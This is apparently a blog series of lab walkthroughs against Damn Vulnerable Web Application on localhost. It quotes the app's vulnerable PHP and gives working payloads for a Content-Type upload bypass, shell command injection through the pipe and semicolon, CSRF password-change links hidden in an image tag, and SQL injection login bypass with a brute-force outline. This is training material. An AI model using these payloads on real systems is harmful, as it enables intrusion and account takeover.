This is the only part you have to circumvent, and you should instantly know how. Using a proxy you can rewrite the upload request to use “image/jpeg” as the upload_type. Let’s see exactly how to do this. First thing’s first, open up a proxy I used Burpsuite for this. Make the request to the page by uploading the neccessary file and making sure you have “intercept requests” turned on in Burp. Then watch out for the following request:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d
Content-Type: multipart/form-data; boundary=---------------------------68053526712024471042060696500
Content-Length: 512

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="uploaded"; filename="pwnme.php"
Content-Type: application/x-httpd-php

-----------------------------68053526712024471042060696500
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68053526712024471042060696500--

the line we are interested in is:

Content-Type: application/x-httpd-php

If we change that to read:

Content-Type: image/jpeg

Then click “forward” on Burpsuite, it will send the request off to the site, the site will then respond with:


pwnme.php succesfully uploaded!

And that was all there was to it for the Upload levels.. pretty simple, huh? 🙂

Permalink Leave a Comment

Command Execution Part 2…

June 11, 2010 at 6:21 am (Command Execution, PHP, Security)

Hey guys,

So I finally got around to playing with the Damn Vulnerable Web Application on Medium level. The command execution level really only added a filter for two characters as a “more secure” version to the level on low setting. Lets take a look at the code:

<?php

if( isset( $_POST[ ‘submit’] ) ) {

$target = $_REQUEST[ ‘ip’ ];

// Remove any of the charactars in the array (blacklist).
$substitutions = array(
‘&&’ => ”,
‘;’ => ”,
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if (stristr(php_uname(‘s’), ‘Windows NT’)) {

$cmd = shell_exec( ‘ping ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

} else {

$cmd = shell_exec( ‘ping -c 3 ‘ . $target );
echo ‘<pre>’.$cmd.'</pre>’;

}
}

?>

As you can see, they have added a character filter which filters out the following characters: ‘;’ and ‘&&’, the code that does this is here:

$substitutions = array(
'&&' => '',
';' => '',
);

Well what about the other plethora of bash commands ay? Such as.. well you guessed it the famous pipe operator: ‘|’. Lets see what happens when we try using it:

I entered: “127.0.0.1 | ls -l”, however you could just do: “| ls -l”, and I got returned:

total 12
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
-rw-r--r-- 1 www-data www-data 0 Jun 9 08:37 ls
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source

Viola!

Permalink Leave a Comment

Cross Site Request Forgery

June 3, 2010 at 11:24 pm (CSRF, PHP, Security)

Hey,

So I just had a play with the Cross Site Request Forgery level in Damn Vulnerable Web App. Very simple attack. You basically craft a URL that you can send to your victim that when he or she clicks will inherit the identity of the victim authenticated with the site and perform the malicious actions provided by the crafted URL. So with out further a do, lets take a look at the code:

<?php

if (isset($_GET['Change'])) {

// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];

if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);

$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

echo "<pre> Password Changed </pre>";
mysql_close();
}

else{
echo "<pre> Passwords did not match. </pre>";
}

}
?>

If you can somehow bypass the mysql_real_escape_string() (which I know is possible) and the md5() (I am not sure if there is a way around this, as it turns the string to an MD5 hash), then you have a simple SQL Injection lurking underneath. If anyone has been able to perform an SQL Injection on the above code please let me know. Anyway back to the CSRF. Looking at the code and by using Burpsuite to intercept the HTTP requests we can see that the password is passed over in the URL, lets take a look at the HTTP Request:

GET /dvwa/vulnerabilities/csrf/?password_new=mynewpasswd&password_conf=mynewpasswd&Change=Change HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: http://localhost/dvwa/vulnerabilities/csrf/?password_new=%21a2e0n23&password_conf=%21a2e0n23&Change=Change

Cookie: security=low; PHPSESSID=986e59f304b93ce9287b9cbc84df6a1d

The bit we are interested in is:

GET /dvwa/vulnerabilities/csrf/?password_new=mynewpasswd&password_conf=mynewpasswd&Change=Change HTTP/1.1

Now this is interesting, we can construct a URL like the above, and hide it in some HTML craft an email and send it to the unsuspecting admin. When the admin opens the email, and clicks the link it will change his password. You can hide it better in image links too which we will see in a minute. The idea is to basically craft the URL that enables you to perform a function on the vulnerable website, whether that is change a password, post a comment, log the user out, whatever it is you mask the actual HTTP request in some ordinary looking code and send it to the victim in an email, IM, or a link on the attackers website.. it can be anything, you imagination is your limit 🙂

I made two simple links that did the job nicely:

<a href="http://localhost/dvwa/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change">Click Here</a>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change" width="1" height="1" border="0">

A nice way to visualize this attack in the wild would be to think of for example Facebook, it has in the past had its CSRF vulnerabilities I am sure. Imagine you found a CSRF vulnerability in Facebook, that allowed you to craft a URL to post comments.. So when a user post a comment on Facebook, it generates it and sends it in the URL. Well you the attacker could craft a URL that posted a malicious comment, send this across the site to the victim using the private messaging system, hidden in an obscured link. The victim would click the link and it would post the malicious comment you crafted.

These attacks can be used for all kinds of nasty things.

Permalink Leave a Comment

Command Execution Part 1

June 3, 2010 at 6:00 pm (Command Execution, PHP, Programming, Security)

Hey,

So the next part of the Damn Vulnerable Web Application is entitled “Command Execution”, which is a very very simple and contrived example, lets take a look at the source code behind it:

<?php

if( isset( $_POST[ 'submit' ] ) ) {

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {

$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';

} else {

$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';

}

}
?>

So as you can see clear as day there is no sanitization used on the user defined $target variable, so the trick here is very simple:

127.0.0.1; ls -lart; uname -ar; whoami; who;

Will return:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.080 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.241 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.241 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2011ms
rtt min/avg/max/mdev = 0.080/0.187/0.241/0.076 ms
total 20
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 source
-rw-r--r-- 1 www-data www-data 1509 Feb 17 15:17 index.php
drwxr-xr-x 2 www-data www-data 4096 Feb 17 15:17 help
drwxr-xr-x 10 www-data www-data 4096 Feb 17 15:17 ..
drwxr-xr-x 4 www-data www-data 4096 Jun 3 13:38 .
Linux dojo-vm 2.6.31-19-generic #56-Ubuntu SMP Thu Jan 28 01:26:53 UTC 2010 i686 GNU/Linux
www-data
dojo tty7 Jun 2 14:51 (:0)
dojo pts/0 Jun 2 15:50 (:0.0)
dojo pts/1 Jun 2 18:36 (:0.0)

Well that one was easy, wasn’t it? 🙂

Also note that you can use && to concatenate commands on the command line as well as ;.

Permalink Leave a Comment

SQL Injection Fun…

June 3, 2010 at 2:07 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey guys,

So I have been playing around with the, Damn Vulnerable Web Application. Which you can find here, however I decided to use the Web Security Dojo v1.0 live cd from here. The first level was an SQL Injection or Web Form Brute force. I decided to play around with the SQL Injection. So, lets take a look at the PHP source code behind the page:

<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];
$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

As you can see there is no sanitization used on the username or password variable. However the md5( $passwd ) does make it rather interesting injecting into that variable, I have yet to find out a way to take control of the password field because of this. So I decided to play with the username variable. Let’s take a closer look at how the query is constructed:

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";

So as you can see the $user variable is passed straight to the query without any sanitization (e.g. stripslashes(), mysql_real_escape_string()). So we can inject SQL statements into the username field on the web page. So the first thing I try is:

username: '
password: '

A single quote, which gives us the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1

Beautiful, we have confirmed it – it is vulnerable to SQL Injections, ok so the interesting part..

if( $result && mysql_num_rows( $result ) == 1 ) {

Basically tells us that we need to supply a query that returns one row only, if it returns one row then the avatar will be displayed along with the “restricted area”.

Let’s try a couple of SQL statements like the following:

username: admin' --
username: ' OR user='admin' --
username: ' OR 1=1 limit 0,1 --

Or perhaps like this:

username: a' or user LIKE 'a%' limit 0,1--
password: a

Let’s look at each of these individually, admin’ — basically completes the sql query by passing the user ‘admin’ and then commenting the rest of the SQL statement out using ” — “. So when this is passed to the database, the actually query is:

$qry = "SELECT * FROM `users` WHERE user='admin' -- AND password='$pass';";

Which gets interpreted as:

SELECT * FROM `users` WHERE user='admin' --;

The same happens with: ‘ OR user=’admin’ — it’s just a longer logical query that looks like:

SELECT * FROM `users` WHERE user='' OR user='admin' --;

Also with: ‘ OR 1=1 limit 0,1 — is the same, its logical, but says 1=1 which is true, which would display the whole table however that would result in the bottom part of the if loop being executed, which gives us incorrect username or password. So we use the limit clause, to limit it to one row: limit 0,1. This then gets passed to the database looking like:

SELECT * FROM `users` WHERE user='' OR 1=1 limit 0,1 --;

The possibilities here are endless, however we got the result we wanted. It displayed the avatar for the user and allowed us into the restricted admin area. Another thought I had when playing with this was to write a script that brute forced the usernames in the SQLi statement to get access to all user accounts. It would be a pretty simply task in any scripting language, here is what I would do:

http://localhost/dvwa/vulnerabilities/brute/?username=admin%27+--%20&password=&Login=Login#

That is the URL, I would compose a list of usernames into users.txt. Then using Python, perl whatever your familiar with, open users.txt then read in the first username to $user and make a GET request to:

http://localhost/dvwa/vulnerabilities/brute/?username=$user%27+--%20&password=&Login=Login#

If the user is correct, you will get the avatar and restricted area access otherwise the string:

"Username and/or password incorrect."

will be displayed which you can check for in your code. Nice and simple, you can even get rid of the SQL statment and add a password.txt file load up a passsword when you load the user and just brute force the login page..

Anyway, onto the next fun level.

Permalink 5 Comments

Next page »